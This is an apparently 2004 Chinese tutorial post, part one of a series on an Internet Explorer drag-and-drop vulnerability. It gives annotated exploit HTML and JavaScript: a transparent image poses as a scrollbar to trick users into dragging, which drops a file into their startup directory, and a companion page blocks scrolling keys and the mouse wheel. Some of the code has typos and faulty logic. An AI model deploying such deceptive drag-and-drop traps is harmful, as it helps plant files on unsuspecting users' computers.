您的位置:首页 > Web前端 > JavaScript

IE拖放漏洞详解一

2004-11-14 18:58 633 查看
该漏洞的利用主要是综合了ie的三个漏洞,第一个就是当img元素的透明滤镜为全透明的时候还可以响应事件,代码如下:(不是原创,加了注释方便理解)
+-----------------------------------------------------------Code-1----------------------------------------------------------------+
<!--漏洞描述:当用户对一个图片(img元素,我们构造的一个滚动条)进行拖放的时候,我们通过设置一些拖放事件(onDragStart&onDragover)就可以使一个特殊的层总是位于正在进行拖放操作的光标下面,当我们松开鼠标的时候,这个img元素的DYNSRC属性中定义的文件就防在了这个层当中,而这个层所指向的就是用户的本地目录(启动目录)-->
<html>
<body style="overflow:hidden;margin:0px">
<!--这里的作用是建立一张隐藏的能响应事件的图片-->
<img src=a.jpg  onClick="startClick()" style="z-index:10;filter:alpha(opacity=0);width=30px;heigth=100%;position:absolute;right=0px;top=0px">
<!--为了能得到一个正常的网页滚动条,我们就要在网页中加入一个iframe,在它里面引用一个网页-->
<!--在iframe中引用的页面要将margin-top的值设置大一点,这样才能显示滚动条-->
<iframe id="root" src="index.html" width="100%" height="100%" frameborder="0" style="z-index:1;"></iframe>
<!--z-index ,设置对象第三维所在的层,将决定是否被其他对象遮盖或遮盖其他对象-->
<!--到这里算是完成了一部分了,但是有个问题,就是你拉不动滚动条,这样很容易引起怀疑,所以我门要用脚本语句来实现这个功能-->
<script language=javascript>
function follow(x,y){
scrollRoot(y);
}
function scrollRoot(y){
frames["root"].scrollTo(0,(frames["root"].document.body.firstChild.offsetHeight/100*(y/document.getElementById("root").offsetHeight*100)));}
<!--frames["root"].scrollTo:意思是使窗口滚动,当a为0时使滚动条滚动到窗口的左上角往下数的b处-->
<!--frames["root"].document.body.firstChild.offsetHeight是得到frame中的网页第一个元素的高度(不是相对坐标)-->
<!--document.getElementById("root").offsetHeight得到frame在网页中的高度-->
<!--关键字  ondragover= ,Dhtml事件:当用户拖曳对象划过合法拖曳目标时持续在目标元素上触发-->
document.body.ondragover = function (){
    follow(parseInt(event.clientX),parseInt(event.clientY))
}
function startClick(){
scrollRoot(parseInt(event.clientY))
return true;
}
</script>
<!--为了禁止鼠标的滚轮或是键盘的pageup/pagedown和上下箭头。我们还要在index.html中把它们禁用了-->
</body>
</html>
+------------------------------------------index.html Code-------------------------------------------------------------+
<html>
<head>
<title>Anonymous</title>
</head>
<script luanguage=javascript>
<!--通过键值来禁用该键-->
function estopkey() {
 if ((window.event.keyCode==33)    //pageup
   || (window.event.keyCode==34)  //pagedown
   || (window.event.keyCode==38)  //上箭头
   || (window.event.keyCode==40) //下箭头
   || (window.event.keyCode==36) //home
   || (window.event.keyCode==35) //end
   || (window.event.keyCode==32)) //空格
{
    window.event.returnValue=false;;
}
else
{
    alert("sorry,该键已经被禁止") ;
}
}
</script>
<body onkeydown="estopkey();" onSelectStart="return false;" onMousewheel="return false;">
<!--onSelectStart,禁止选中网页中的元素,onmoussewheel,禁止鼠标中间滚轮-->
<!--关键字  onkeydown= ,Dhtml事件:当用户按下键盘按键时触发'-->
<div style="height:300%">
<!--为能显示滚动条,这里我们把高度设为300%-->
<img src="anonymous.jpg"></img>
</div>
</body>
</html>
+-----------------------------------------End-------------------------------------------+
效果还不是很好,不过安全意识不高的用户仍然很容易受骗。
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息